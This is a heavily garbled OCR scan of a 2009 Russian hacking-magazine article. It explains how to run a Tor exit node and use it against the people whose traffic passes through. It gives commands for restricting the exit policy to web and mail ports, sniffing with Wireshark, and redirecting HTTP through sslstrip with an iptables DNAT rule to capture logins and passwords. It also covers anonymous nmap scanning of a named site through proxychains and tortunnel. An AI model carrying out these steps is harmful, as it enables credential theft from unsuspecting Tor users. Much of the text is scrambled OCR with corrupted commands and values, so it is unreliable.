Tor'a cTpanTsCs Ha DONLLIOM KONMYECTBE SHTYZWACTOB, Yyua-
CTBYIOLWX B MNDOEKTE 1 NPEAOCTABNAOLLMX CBOU AOMBLUIHUE
KOMMbIOTEPL! ANS 3anycka HOAO0B, B TOM YMCE W BLIXOLHbIX.
HeckoNbko HyXHbiX NapamMeTpoe B KoHdure — TBon bunet B
WX pAfkl

JIA 3PABCTBYET EXIT NODE!

Hy 4To %, nprcTynuM. g skcnepumMeHToB Ham NoHapobuTes
noboi HMkeoeslW aueTpubyTue, nyckai ato byaet Backtrack,
3anyweHHelld ¢ ¢newku, nav Ubuntu Ha BUpTYansHoR Mallv-
HE — 3T0 COBEPLUEHHO HE BaKHO. [EOPETUYECKU BCE TO XKe
CamMoe MOXKHO BLIN0 NPoBepHyYTL M Ha BuHge, Ho B 3TOM ciy-
“ae NPUEETCH PellnTs PRA HEMPUATHBLIX NPobieM, 0 KaTopbix
7 CKaxy HixXe.

MNocnennss sepcus Tor (Ha momenT nyBnunkaumum — 0.2.1.19).
TMiobutenn nopabotats MbIWKOWM TAKXE MOrYT CKa4aTb 1

YHUKAJIbHASl OUILKA TOR

Ectb y Tor ewe ofHa uHTepec-

Had $uua — CKpbITLEIe CEPBUCH.
[Monk3oeatenwn Tor MoryT npegocras-
NATh Pa3NUUHBIE CEPBUCH,
EIEE)*,D,UCTyH ninw cepeep cncrembl
MIHOBEHHOro obMera coobleHuamm,
He OTKpblBas CBOE UCTWHHOE MECTONO-
noxexue. CkpoiTole cayxbel LOCTYNHLI

Takue Kak

yepes cneunanbHble Ncesao-A0MeHb
BepxHero ypoeHs .onion. CeTe Tor
fMOHWMaeT 3TN JOMEeHEl W HaNpaBAAET
MHOOPMALUKID AHOHWUMHO K CKPbIThIM
cnyxbam. CkpbiTaa cnyxba zaTem
obpabaTuiBaeT ee NocpefCcTBOM CTaH-
napTHoro codra, KOTOpbLIW HacTpau-
BaeTCHd Ha MpochnylwKMeaHe TONkBKO

HenyBAMUHbIX [3aKpBITHX 008 BHEL -

Hero goctynal unTepdeiicos. NaHHbli
GyHKUMOHAN MOXHO MCNONb30BaTh AN
pasMelleHns canTa, He Decnokosce O
uersype. Hukto He ByjeT B cocToAHWMK
onpenenvTbL BRajensla
Aenely calta He ByLeT B COCTOAHMM

calTa, v Bna-

Y3HaTb, KTO UCNnaonb30Ban cawnT.

» 028
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python sslstrip.py -a

FEEA -
3AMYCKAEM SSLSTRIP

ycTaHosuTh Vidalia, GUI-oBonouky ans ynpaenexus Vidalia
unu xe, Booblie, raTosyo chopky nporpamm. Ho Tak Kak Ml
Bynem paboTaTs B KOHCOME, HAC YETPOWT W MPOCTO YMCTHIA Tor.
WTak, ckauuBaem NakeT, pacnakoBbiBaeM W ycTaHasNBaeM. H
[YMat0, Ha 3TOW CTaluK HiKkaklx Npobnem GeiTe He AOMKHO.
OpaunH 13 HemMHorouMcieHHbIx HioaHcoB pabotsl Tor 3ako-
YaeTcs B ToM, YTebbl Ha KoMMbicTepe BbiN0 NPaBUNbHO
ycTaHoBneHo BpeMd. [epen sKCNepuMeHTOM CMHXPOHMU3W-
pyrca ¢ nybanyHeIM CEPBEPOM BREMEHW, MHaYe NoNyYUllb
NOPLMIO NPpeaynpexaeHnid o ToM, 410 Yacel y Teba cunsto
WayT BNepes unu, Haobopor, cepbesHo otcTaloT. Eue opHo
NOAroTOBUTENbHOE AEACTBME — CO3JaHWUE B CUCTEME NONb30-

* Hafo noHKmMaTs, yto paboTan B Kade-
cree Exil Node'sl, 4enosek cepeesHo
noactaenset ceba. Benk MMeHHo ero
IP cBeTWTCS BO BPEMA B3NOMOB U

T.0. B npouecce Hanvcasma cratbu
Yepes Moll CepBep ABaxX sl NuiTannch
nposectv ataky Tkna SAL-injection.
Tak 4To, Aep:M Y0 BOCTPO: 3a Takve
BELLM MOKHE 33MDOCTO CXA0MNOTATh O
NPaBooXpaHUTENbHbBIX OPraHoB Uau
oT nposaigepa. Bot AnWb Hekotopble
npUMephi:

e B 2006 r. cneucnyxbul lepmarum ocy-
LeCTBW/IKM 3axBaT WecTH KOMMN:I0Tepos,
paboTaslunx HoAaMK CaTK Tor Ha aCHO-

-w today.log

o Shell - Konsole <3>

BaHWW TOrO, YTO OHM BbINK HE33KOHHO
MCMoNL30BaHs! ANS A0CTYNa K eTCKoN
nopHorpaduu.

« B 2007 . HauunoHansHas nonunuus
LlIBeuun apectoBana M3BECTHOIO
IKCNepTa No KOMNbTepHOK besonac-
nocti [exa Jrepcrane (Dan Egerstad)
N0 0DBMHEHKID B HEMPABOMEpHOM
JLOCTYNE K KOMMNBIOTEPHOW MHGOpMa-
UWW. 22-NeTHWIA COTPYHUK KOMMaHuu
Deranged Security ony6nunkosan

Ha ceoeM pabouem calite Naponu K
3NEKTPOHHOM MOYTE NOCOALCTB, HEro-
CYLapCTBEeHHLIX OpraHn3auUmni, KoM-
MEPUECKUX UPM U MPEBUTENLCTBEH-

|5 . EE Moscow

e 1)

BaTens, U3-noj KoToporo byner ocyllecTBNATLCH 3aryck Tor.
Lns 37oro Habupai B koHconu kKoMaHgy adduser u fanblue
oTBEYal Ha BONPOCH. B peaynbTate B cucTeMe NosBUTEA
HOBLIN nonssosatesk [ckaxew, toruser]: uid=111[toruser]
gid=10(wheel] groups=0[wheel],10{wheell.

Tereps, Korga NOAroTOBKA 33KOHUYEHA, MOXKHO NPWCTYNUTS

K KoHGUrypuposaHwio camoro Tor'a. Bee HacTpoiikK ykasbl-
BatoTCs B danne KoHpurypaumm torre, KoTopelid Heobxoaumo
CO30aTh B Nanke .tor, HaxoAALWencs B AoMaLUHeN AMpPeKTOPUM
nonszosatens (r.e. /home/toruser]. PosHo xax v daiina,
TakKUx Nanock B cMCTeMe MoxeT He BuiTe — B 3TOM Cciydae

reobxoanuMo vx co3pate. [lanee oTKpbiBaaM B TEKCTOBOM

— 3AIAYA NS KPENKMX NMAPHEM

HblX areHTCTB pa3Hblx cTpak. o ero
CNoBaMm, OH B Ka4ecTBe 3KCNepuMeHTa
co3gan b BeIxoAHLIX CepBepos Tor 1
nepexeaTkiBan 4epe3 Hux Hesawwndpo-
BaHHbIA Tpadrk.

= B 2007 r. HeMeLKaa NonWLWA apecTo-
gana B [lloccenspopde Anexcanppa
HAHcceHa, opraHuaosaswerc y ceba Ha
KoMmrbloTepe cepeep Tor, Yepes KoTo-
PbIfl HEM3BECTHbIW OTINPaBUN NOXHOE
coobulerue o TepakTe. HecMoTps Ha To,
47O BCKOpE r-H AHcceH Buin oTnyLieH,
OH peluns oTKazaThes 0T AaNbHelllero
WCMOJb30BaHWS CBOErD KOMMLIOTEPA B
KauecTee TOUYKM Bbixo4s Tor

XAKEP 10 /130/ 09

Bce onucabHbie B
CTaTbe CKpUnThl,
YTUIUTHl Th Hal-/:UJ,GLUh
Ha Hallem aucKe

|
b links
eTor+Vidalia+
Proxomitron+
Freecap —w

ntmie.
«QOperaTor — Opera+
Tar+Polipo —
archetwist cor
opera/aperator.
«Portable Tor —
NopTaTUBHbIA NakeT
Tor, He Tpebyouni
MHCTaNNALMK Ha KOM-
neloTep — | ileto
118} elor 1
«Torbutton — pac-
wupenxue Firefox,
nobaenawLLee B Hero
KHOTMKY BKAIOHEHWS
1 BelkMo4erus Tor.
ObecneunBaeT Takxke
YNYULLIEHYIO 3aLLKTY
NPUBATHOCTW U M30-
NFLMI0 COCTORAHUA
Bpay3epa — addor

e\ uze — KNMEHT
painoobmenHom

ceTw BitTorrent co
BCTROEHHOM Nogaemk-
kol Tor — azureu:

eHennoxaii Maryan no
HacTpaike Tor: ¥

torpro j/do
or-de e htmlru. ‘igb
*[lonHbIA cNMcok nog-
LEPKUBAEMEIX OMLMIA:

ww. torproje )/

or inual.html.
eHacTpoika cKpbi-
ThIX CEPBUCOB:

b 029
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destination

o Shell - Konsale
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TPAOUKTOR'AHASSLSTRIP

peaakTope Haw koHgur: vi fhome/toruser/ tor/
torre u npuctynaeM kK HacTpoiike.

TyT HaAo ckazaTk, 4To HacTporka Tor'a ans
paboTel B kKauecTBe 0bbIYHOTO KIWEHTA WU IR
PYHKLUNOHMPOBAHNS B KIYECTBE BLIXOAHOMO Cep-
Bepa — 370 ABe pa3sHble cuTyaunu. Tel MoXellb
caM B 3ToM ybeAnTses, ecnu 3anyctuik Vidalia
v B pazgene «Settings/Sharing» sbibepelub cHa-
4ana pexum paboTel B kKauecTee knueHTa (Run
as a client only] » 3atem B kadecTee cepeepa
[Relay traffic for the Tor network], nocMoTpeB

8 000KX CNYYAAX CreHEPUPOBEHHBIA KOHDU™
daiin. B nocnegHeM cnydae nosBARIOTCAS MHOMO-
4UCNEHHLIe ONLUMK, aKTyankHsble Ang pabotsl

B ka4ecTee cepeepa. YTobk Bee 3apaboTtano
HaBepHAKa, Npyseny pabouni KOHOKUT nng npe-
BpalieHuns Hawero Tor'a B cepeep Exit node, a
3aTeM paszdepy Kax bl NapaMeTpos:

g051

ControlPort
DirPort 9030

ExitPolicy *:80,accept

,accept *:110,accept

,Jaccept *:993,accept
*:995 reject *:*
16:¢

F1510D41462884

HashedControlPassword
CBC41C76073E1ECO
391CCB24BF489F]

Log notice

SocksListenAddress 127.0.0.1

Hac uHTepecyeT HeckobKo NapamMeTpoB:
ControlPart ykazeigaeT nopt, Ha keTopom Tor
ByfeT NPUHUMATE NOAKIOYEHUA AN YAANeHHO-
ro ynpasneHua. B 4acTHOCTW 3TOT MOPT MCMONb-
3yeTcA [iNA CBR3K C geMoHoM rpadudeckoin obo-

» 030

£ ﬂOMUIJJ.bIO IPTABLES MEPEHAMPABJNAEM MCXU.B,HLIJMM HTTP-

--dport 88 -j DNAT -

OWNER UID match to

Konsale <2 & Shell - Konsole <3

nouku: Vidalia unu, Hanpumep, Tork. Octasnsem
napamertp Mo yMon4yaHuio.

DirPort 3agaeT nopt gns npuema nogknio4eHni
OT CEPBEpa [UPEKTOpuid. PEKOMEH/LYIO 3HaUEHME
9030 He TporaThb.

ExitPolicy siendetcs o4eHb BaXHbIM Napamer-
pOM, NOTOMY KaK ONPEAeNsier, kakoi Tpaguk Tor
ByneT npuHUMaTh W GOPBApAUTE fanee, a Kakow
— UrHOPWPOBATL. (DopmaT ANnA onpeaeneHus
!‘IDEIBMJ'\B cnepywowmin: ExitPolicy
I
Hble MOpPTh, Mbl yka3anu Tor'y, 4Tobsl TOT MpUHA-

Accept

0bozHAYUB HyX-

vject address:port.
Marn Tpaduk No MHTEPeCHLIM ANA HAaC NPOTOKO-
nam [Hpc)m,e Bcero, HTTP-paHHble, nepepasae-
Mble Ha B0 nopt), a Bce ocTankHoe — Bhipezan.
ManeHskWii xuHT: 4Tobbl He NepefaBaTb Yepes
ceba mHoro becnonesHoro ¢ TOYKW 3peHus MHTe-
pecHocTen Tpaduka, MoxHo 3abaHuTe agpeca
rapidshare.com v apyrvix GannoBbix 0bMeHHM -
KOB, @ TakXe MopHYLUHbIX PEcypcos.
HashedControlPassword — ato xew napons ans
noctyna v koHgurypauum Tor-cepeepa (4Tobul
HUKaKOW 3N00HbIN Xakep He CMOT MepekoHpUry-
DVPOBATE HALW CEpBED), KOTOPLIN CO3A3eTEA MpK
noMotiy KoMaHmsl: tor --hash-password.
Nickname — um#A Hallero cepsepa, KoTopoe
byne oTobpaxaThcs B CepBepe AUPEKTOPUIA.
ORPort — nopr, Ha koTopoM ByoyT 0XunaaThcs
NOAKMOUEHWA OT APYrMX HOA0B.
SockslistenAddress — agpec v nopr, 1o KOTopbIM
Tor ByfeT *AaTb NOAKNI0UEHHIA OT MPUNOXeH i,
paboTawoLmx Yepes SOCKS. Ecnm nopt He ykasaH,
10 MCNonb3yeTcs cTaHnapTHelia 000-7. Mozxe, Ham
370 MOHANODUTCH, BCIM Mbl 38X0TUM UCNONL30BATE
Tor B cBs3ke ¢ Privoxy vnv apyruMm Npokcu.
Tenepk, Koraa co BCeMW napaMeTpamMu Mbl paso-
Bpanuck, MOXHO NPOCTO COXPaHUTL M3MEHEHKA

1 3aKpLITL Gaiin.

[lepen Tem, Kak CNoMs ronoBy TyT e 3anyckaTe
TDF, BCMNOMWHGEM, 4TO AN1H 3aMyCKa co3fasan
OTAeNEHOrC NONL30BATENA. HODTOMy OTKpLIBaeM
KOHCONb, JIOTMHWMCH Nopg taruser lKOMaH,ﬂ,a su
tOFUSE‘F] W TONbKD NOC/e 3Toro gaem aTMaluky Ha
3anyck lor'a, nepeaas B ka4YecTse napameTpa
L7 3anycKka NyTs A0 KoHGur-dalina:

< ot -7

/heme/taruser/ . tor/torrec
Cam 3aNYCK NPpUNCXKEHWA ELLEe He 03HaYvaeT,
uTo BCe 2apaboranc kak Hafo, NoaToMy BHU-
MatenkHo CMOTPKM BblaBaeMble nporpaMMoﬁ
coobuieHus. Kak TonbKo CEPBEP CMOMET NOLCO-
eAMHWTECH K CETK, OH MNoNbITaeTca onpenenTb
JIOCTYMHOCTL CBOKX NOPTOR CHapYXKKM. 3T0 MOXeT
3amaTh A0 20 MuHyT. B norax nosieaTtca coobuye-
Hus Brga «Self-testing indicates your ORPort
s reachable from the outside. Excellent». Ecnn
TAKOBLIX HET, 3Ha4YWT, CepBEP HeAOoCTyNeH U3
sHelHel CeTn U HyKHO NoBepuThL Paipsos.
Kak Tonbko cepeep nNposepuT CBCIO AOCTYNHOCTL
M3EHE, OH 3arpy3uT Ha CepBep AUPeKTOpUiA
[npowe rogops, Basy Hoa) cBoR AeckpriTop.
70 MO3BOANT KNUEHTaM Y3HaTh afpec, NopTsl,
RIIOUM W APYTYIo MHGOPMaLMIO 0 HaleM cepeepe.
MaHo 3aiTi Ha camM cepsep ;J,Mpemopww htt

11l uLorg ) or c fautine ':L’IHdVHM
8 TekcTe nickname cepBepa, yka3aHHLIN paHee B
koHMure, Takm obpazoM ybearBLLINCE, YTO Halla
HOMa ACCTYNHa AN8 NOAKNIOHEHWA KNWEHTOB.
Ecnum e B cnveke Thl cebs He HaWdelwb, NoBTOpK
NanbITRY HyTh NO3XEe — 3aMWcKk B Cepeepe AMpeK-
TOPMIA COHOBNAITCA AANEK0 HE MOMEHTENLHO 1
MoxeT notpeboBaThea HekoTopoe Bpems, 4Tobb!
BCE& M3MEHEHWHA OTPasHUINCL B baze.
Cpa3y 3a CTPOUKOW C Ha3BaHWEM Cepeepa [T.e.
HelloHacker] npet TekctoBoe onucanHne Hofbl-
Ecau Thi yBUAWLLG YTo-TO Bpode «s Exil Fast
Running V2Dir Valid», axai — 1o Exit Node!

NOBMUCb, PbIGKA, BOJIbLIAS

[ITak, BeIxoAHas HoAa HACTpoeHa, 3anyLleHa,
nobaenena g bazy — kT0-HKWDyAL 0093aTeNEHD
2l0 BOCMoNb3yeTcs yxke B camoe bauxanwee
Bpema. Yo 310 paet? Cutyaumei MOXHO BOC-
M0/1630BaTLCH CaMblMU Pa3HLIMK cnocobamu.
PazsedTh MU 06 aHoHWMHOCTY Tor'a nomoxer
nepeafpecalus KNveHToB Ha crielmnankHylo
CTpaHwWLy, rAe C NoMolybio anemMerTa ActiveX,
annneta Ha Java v anemenTa Ha Flash onpege-
naeTca HacToswwmi IP-agpec. Npuem HasmBaeT-
ca unmasking v xopoLUo ONMCKIBAETCS B JOKY-
menTe Unmasking TOR Users (www fortconsull
et/ima [pdfftpr_100506.pdf].
[pyroi BapwaHT — NoLlynaTb BCe npone-
TalLWMe Yepes HoAy AakHble cHudepom. [Ing
3T0ro goctaTouno sanyctute Wireshark [www
dareshark org) unu niobol gpyrof Hioxay,
seI6pats ANS aHaNM3a MHTEpPQEeNc, KaTopbi
CMOTPWT BO BHELIHIOKW CETH, U BKJIOYUTE Nepe-
xgat nakertos. [ladHuie He 3acTaBsT cebs xnatb.
B bonblwmHCcTBE CAy4aeB nakeThl H3YHYT NosiB-
NATBCA B NIOTAX y¥e 0YeHs CKopo :)
[Nanble ocTaeTca NpoaHanu3vMpoBaTs Nony-
YEHHBIA AaMn u... ydegnteca, 4o BonblUWHCTBO
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nepexBaqeHHbIX JaHHbIX — NoHas epyHaa.
Bce camoe uktepecHoe nepegaetca no HTTPS
W BCTECTEEHHO OCTABTCH BHE JOCAT2EMOCTH
cHWdepa (o kpalikei Mepe, B NOHATHOM Ang
Hero empe). Ho poBHo 40 Tex nop, Noka B xog
He DyfeT NylieHa yKe 2HaKoMas HaM yTuan-
Ta sslstip [www.thoughtcrime.org

ol. Ha npolueaueit s asrycre KoHdepeH-
umn BlackHat2009 Moxie Marlinspike 3apenuaun
HOBYIO BEPCMIO 3TON 3ameHaTessHOl Npord
[kcTaTi, HACTOSITENBHD PEKOMER/IYI0 03HAKOMNTL-
€A € ero fokNaaoM — Bee Matepuans ¢ BlackHat
Mbl BbIKNaOsIBaNy Ha cenTabpbekom DYD), ewe
JiydLUe No2BONANLLEN BRINOAHATE aTaki Man-in-
the-Middle v sbiHyxaatOLER KNMEHTOB paboTaTb
No He3aLlMUIEHHOMY COSMHEHMIO
Wrak, ckaunsaem oncTpubyTue sslstip, yetanas-
nueaeM erc [nonpoBHee OT TOM, kKak MCNObL30BaTL
sslslrip, cMoTpy B Marickom Homepel 1 3anyckaem,
YKa3aB € MOMOLLbIO KIloYeH NopT ANna npuema
NOAKINIOHEHWIA W QAT 1A 3arMcK Noroe:

S python sslstrip.py -a -1 8080 -w

today . log

Hanomkio, 4TO Mbl ABASEMCS NOCNEAHNM Y3N0M
B Lienouke HOA0B Tor, MoaToMy OT Npefsiay-
LWero y3ia Ml NpuHUMaet Tpaduk 8 3alnd-
POBAHHOM BUfE, NaNee [eKoVpyeM ero 1

yKe 33TeM OTMPABNAEM KOHEYHOMY 3LPECaTY.
CnepnosatensKe, oT Hac TpebyeTca Bech MCXoAA-
WIKMiA Tpaduk NponycTuTL Yepes ssistrip. ng
sToro pobaeum 8 iptables Takoe npasuno:

5 iptables -t nat -I OUTPUT -p tecp
-m owner -uid-owner 111
80 -J
127.0.0.1:8080

--dport

DNAT --to-destination
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& commonly used f
ould mind the r

OueHb BaxHo nocne knw4a -uid-owner YKa3aTb
id nons3osarens toruser. Tonbko B 3TOM chyyae
Beck ucxogawmia HTTP-Tpaduk o3epa toruser
ByneT nepeaspecoBbiBaThes Ha ssltrip [npw-
HUMaLMIA nogknioYeHua Ha 127.0.0.1:8080)

W He ZauuKnBatbCH B CHUCTEME. 3707 MOMEHT
cobcTBEHHO ¥ 33TPYAHSAET CHUPUHT NOJ BUHAOR:
I!COﬁXO,D,HMG He TONbKO NpaBgWabHO HACTPOUTH
NAT, Ho elle v HalTK daiipBOA, KOTOPBIMA NO3BO-
NUT NCNOJE30BATE CTOJML TOHKWE NpaBuia.

Ha sToM HacTpoiika Hallero cepeepa 3akoHueHa
WM HaM OCTAaeTCH TONbKO Haﬁpaﬂ:cq TeprneHva,
4Tobbl HE Ne3Tk cpasy B Norv u Aate sslstrip
HaNOBWTh PazNMYHBLIX OaHHBIX, NepeidBaeMblx
no SSL. A 3a04H0 3alyMbIBATLCS, CTOWT 1K MPK
TakoM packnaje UCronb30BaTh Tor BODﬁLLI,E ]

AHOHWMHOE CKAHUPOBAHHE

To, kak NepexBarTbiBATCH HyXXKWE NOTMHbI
W naponu Mbl nocMoTpenn. A BOT 3anaqka

HOVIHTG‘DE‘CHEI;L Crankmeancs nn Tbl C C1Tya-

CNELUATTU3UPOBAHHBIE

* Anonym.0S (-0 ge.net/projects
] — LiveCD Ha base OpenBSD,

B KOTOPOI BeCh BXOASLLMIA TpaduK 3anpe-
LeH, @ BECh UCXOAALMIA aBTOMATUYECKH U
Mpo3paqHo ANA Nonb3oBaTens Wwudpyercs 1
AHOHUMUW3MPYETCS NpK noMoluwy Tor
e ELE [nortt irity. net/download/ele/)
— Munuatioprblid Damn Small Linux B cBa3-
ke ¢ Dillo+Tor+Privoxy+Scroogle.
* Incognito LiveCD [anonyviniivar

jnilo] — ocHoBaHHeIA Ha Gentoo,
LiveCB c Tor'am, TrueCrypt, KeePassX.

L1edn, Kkorga Tl CKaHWpYeLlb yaNeHHbIA
X0CT, @ OH pacno3HaeT B TBOUX felAcTBMAX

NOAO3PUTENBHYIO aKTMBHOCTE K 6ﬂOKMDyCT no @

IP? OBolATk 3T0 ADCAAHOE OFPEHWHYEHWE HaM
anATh e nomoxeT Tor, Befbk HWUKTO HE roBO-
DWW, 4TO 870 MOXHO WCMNONL30BaTk TOMNLKO
LN aHOHWMHOTo cepduHra, Bepro? :)

laxe ecnu Hac 3aBNOKKPYIOT, MBI BEEMLE MOXEM
nycTuTL Tpaduk Hepes Apyroi Tor-cepsep,
Bnaro, y Hac ux — xoTk oTbaensn. [as dokyca
HaM noTpebyetcs:

1. Tor, 4epes KoTopbli ByaeT focTUraThea aHo-
HUMHGCTE Y CMEHa IP-agpeca — oH y Hac yxe
YCTAHOB/EH W HACTPOEH.

2. proxychains (proxychains.sourceforge.netl
NO3BOAET CO34aBaTh LEMoYKK U3 NPOKCEN 1
NoMOKET NycTWTe Tpadmk Nmap's depes Tor

Z. tortunnel (v

thoughterime.arg/softwar
rlunnel), a BepHee BXOAALLAN B HErO yTIMTa
torpraxy nomoxeT pabotate cpasy Hepes TpeTbio
— BbIXOAHYHO Hogy. OB 3ToM YyTb Nozke.
Boobuie roeops, Nmap He yMeeT NnpouseognTh
CKaHWpoBaHe 4epes Socks, HO Mbi EMY MOXEM
NoMOYL B 3TOM C NMOMOLLLIO COKCOQUKaTOPa.
[ns aToro ycTaHaBAyWBaemM proxychains, oTkphl-
saeM KoH(pur proxychains.conf u packomen-
TUPYEM B HEM CNEayIoLLYIo CTPOMKY, B KOTOPOiA
ykasax afipec W nopra CoKca, BCTPOEHHOMO B
Haw Tor-cepeep:
Sccksd 127.0.0.1 9050
Teneps, 4Tobbl 33CTABUTE NPCU3BOLHYK MPO-
rpamMmy paboTaTe Yepes Tor HyKHO 3amyCTuTh
proxychains, rae B kauecTBe NapaMeTpa yka-
3aTh MPUIOKERKUE 1 KITKOYW [U19 10 38M1YCKa,
HanpuMep: proxychains nmap -PN
92.241.175.142. Ha ykasanHom |P-anpece
XOCTUTCA calT www.xakep.ru, a kimod -PN otknio-
YaeT Nposepky AOCTYMHOCTH YAANEHHON MELIWHBI.
MNocneaHee MoxeT BoiTb MONE3HO, KOTAA YAANEH-
Heli xocT pexer ICMP-Tpaduk, Kak B ciydae ¢
HaluKMM canTom.
Tenepk BHWMaHWE — BaxHbIM MoMEHT. [TycTnTh
uepes cokc (M, cooTseTcTBEHHO, Tor) abco-
NOTHO BeCh TPaduK He yaactcs. Heobxoaumo
ybeguTsea, uTo cokcodbukauns cpabotana n
NpUNoXeHVe NercTeuTeNHO paboTaeT yepes
Tor. Hanpumep, B xoae SYN-ckadupogaHmng,

¢ Phantomix [phantomix yiternhagen.de)

— LiveCD-gucTprbyTue, npeaHasHaueHHbIA
ANs aHOHWMHOTC MoJib30BaHWA MHTepHE‘TOM C
nomous Tor u Privoxy.

e Tor-ramdisk [cpen: e.dy
tor-ramdisk) — puctpubytue Linux, pas-

paboTtakHkli, YTobsl 0becneynTs paboty Tor
NONHOCTLID B onepamauoﬁ naMaTia, bes
WCNONb30BaHKMA XKECTKOIro AHUCcKa WK MHBIX
YCTPOWCTE A0NMOBPEMEHHOMD XPAHEHMWA NaH-
Hbix. PebyTHynca — w1 Bce yauku nponanu.
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CMOTPUMNAPOJIUB COXPAHEHHOM AAMMNE

koTopoe Nmap Wcnonb3yer no yMonyaHuo,
ckaHep oBpalancs K TECTUpPYEMOMY CEpBEpPY
HanpaMyie. Ecnv Bl Mbl MccnegoBany 4To-To
Mo-HACTOALLEMY CEPLe3HOR, TO JIErKO MArTM
TakuM 0Bpazom cnanuTses.

K cuactuio, B apceHane Nmap gocTyrnkbl
CaMbIE PA3HLIE METOMbI CKaHa, U, CKaXeM,
CKaHWPOBaHWe C NONHLIM NOLKIYEHMEM
[ty -sT] otamyHo paboraer yepes Tor-
ceTb: — B =P
92.241
nepeg ckaHuposaHuem Nmap nocsinaer

proxychains nmap

.175.142, Kak 7 yxe roBopun,
ICMP-zaripock: (mayLine Hanpamyio oT Halei
MaluHBI) yaaneHHomy cepsepy, 4Tobbl npo-
BEPUTL ro JocTynHocTb. MOXHO, Kak B MoeM
npvMepe, ykasblisaTb Koy -PN, 4Tobbl 3anpe-
wars nofobHyto npoBepky. Mnu npyroi BapuanT
— obpybats Becs ICMP-Tpaduk, MaywimMin € 310
MalvKe, ¢ nomollbio daiipsona. Hanpuwmep,
Tak: iptables -A QUTPUT
92.241.175.142 -j DROP.

NPOKAYUBAEM CKOPOCTb

OFPGHMHQHVI‘H CDKCOﬁI}V]KaLLMVI He eJMHCTBEHHaHA

-dest

npobrema. Berkope 0bHapyxmeaeTca, UTo 33
L0MXHBIA YPOBEHb aHOHUMHOCTA NPUXOLMTCH pac-
MNAYHBETHCA KPANHE MEIEHHEIM CKAHUPOBAHWEM,
A BCe NOTOMY, YTO HALUM NaKeTbl NPOXOAAT Hepes
TPW NPOMERYTONHSI Y3Nna NPEexne, YeMm [OCTUTHYTH
Lenw, NpUyYeM AaNeka He GaxT, 4To 3T Hofkl —
cample bricTpsie Ha nnaveTe. B cnydae ckanupo-
BaHWA LENoK NOACETH, NPOLLECC MOXKET 3aTHHYTHCS
Ha Yacel Mnwy Aaxe aHW. TyT HaM NOMOXET YTUnuTa
torrtunnel, € NoMoLLI0 KOTOPOI Mbl CMOXEM
MyCTTh TRAUK CPasy Yepea BbIXOAHON y3en, MUHYs
183 MepsbIX NPOMEXYTOHHLIX XocTa. [1pu Takom
packnane cKopoCcTb CKaHWpoBaHWa ByneT 3aemnceTs
TONLKO OT TOMD, HACKD/LKO YAA4HO Thl BeDEpeLlb
NOCAEAHWIA HOL, — OFPEHUYEHNA M0 CKOPOCTY ByayT
YNMPaTECS AWLLL B LUMPUHY ero KaHana.

LA ycTaHoBKy yTunuTel Ham noTpebytotcs
AononHuTenbHble Brbnnotekn boost (v

boostorg]. CkaunBaem nocnefHuil penus
n1bos, Aanee pacnakoBLIBAEM W BLINONHAEM:

S bootstrap.sh ——-libdir=/usr/lib
== ineludedits usr/ifciude

» 032

§ ./bjam —-prefix=/usr
$ ./bjam install

[ocne ataro, 3aronoBavHsle Gannbl OAXHLI
oxasatsea B (usr/include/boost, a Brbnno-
texw 8 /usr/lib. Teneps Hafo BpydHy Co3-
[1aTb CUMBONMYECKYIO CChINIKY Ha bubaucTeky
libboost_system.s50.1.40.0 (Moxer, KoMy W He
noHanobuTcs, HO y MEeHA 0Ha MpW YCTaHOB-
ke aBTOMaTMYeCKN HEe co3panacs):
$ In -s /usxr/lib/libboost_
system.so0.1.40.0
ibboost_

Jusr/lib/

system-mt.so

b

Ecnu Bce npongeT rnaako, 1o tortunnel
CKOMIUINPYeTCH 1 yCTaHoBUTL bes cyyka u
3anopurkn. M3 Beero tortunnel’a Hac uHTe-
pecyeT yTunuta torproxy, KOTopoii B kKayecTse
napameTpa nepepaetcs |P-agpec BelxoaHOM
HOAbI.

Teneps HanpawmWeaeTcs BONPOC: «A Kak
BbOpaTh ckopocTHYK Hoay?». [ing 3Tor0
nnem Ha hitp//12¢ 0.34:9031/tor/stat!

il wnw bttp://moria.seul.org-9032/tar/statu
IULNorly M HaYMHaeM MCKaTb Y3kl € onu-
caHuem «Exit, Fast, Stable, Valid». Ecnu
EEpKWTE OBQBHE}HDHMRM, TO UMEHHO TakK 060-
3HEYSI0TCH HaexXHbe U BeicTpeie Hogsl ).
MMeHHO Takue HaM 1 HYKHbI.

Lanee npocTo NOACTABAREM QNMULWIHWK HyX-
HOW HOAE B CTPOKY ANS 2anycka torproxy: .
[ExitNodeIPF].

Bce, Tenepb torproxy npuHUMaeT NoAKMIO-
YeHus Ha 5060 nopty u rotoBa Kk paboTe.
Ocranocs ,JZ\OEEIBIATI: ee B LUeno4Ky COKCOB,
Yepe3a koTopule cokcodbukaTop ByaeT nyckats

torproxy

Tpaguk Nmap'a. [lnq atoro oTKphiBaeM KoH-
dur /etc/proxychains.conf, koMMeHTUpYEM
Tam CTpoKy Socks4 127.0.0.1 2050 u
yKaselBaeM Haw torproxy-coke, gobaeus
CTpoYKY: sockss 127.0.0.1 5060. Bor,
cobcTeeHHo, U BCe, Teneps MOXHO Tak

Xe, Kak W paHblue 3anycTuTe Nmap yepes
proxychains, Ho HacnagWTbcs HamHoro Gonee
wycTpoi paboToi.

AHanoruyHblM 06pasoM MOXKHO YCKOPWTE W

BaHansHbIf cepduHr. Tem cambiM Mbl CHU3MM
YPOBEHb aHOHUMHOCTH [0fHa NPOMEXYTOY-
Has Hoda BMecTo Tpex), Ho nonyyum Honee
WYCTPLIA KOHHeKT. 3axofiuM cHoBa B ¢ain
koHpurypauum proxychains.conf u aobasna-
eM CTPOuYKY:

forward-socksh /
12690 00 S E

Tenepb OTKpLIBAEM OFHEHHOIO NWMCa W HacTpa-
veaemM HTTR- HpOKCM Ha 127.0.0.1:8118. Mocne
3T0ro uaeMm Ha hillp// e.eu/
index.php NpoBepATh, JENCTBUTENLHO N Mbl

cepdpum yepes Tor. Ecnu Bce oke#, 10 0To-

BpaznTes cTpaHMua ¢ Haanucsio «Your [P is
identified to be a Tor-EXIT». 3Ha4mT, MOKHO
MPOBECTW 11 PY4HOWM ayuT yAaneHHoH cucTe-

MBI 2.

MPOBEPKA HA BLIMBOCTb

Tenepb Mbl 3HAEM, KaK aHOHUMHO CKaHW-
poBaTb Yepes Tor nepexsaTbiBaTh HyaKie
YHETKM. A 4TO, CNKM HAM CaMKUM NOHaN0-
butca venons3oBate Tor, 4Tobel, HanpuMep,
Ha Gmail 3aiiTu? Kak He nonacTs 8 noru
sslstrip'a? Beixog ectb! B naket tortunnel
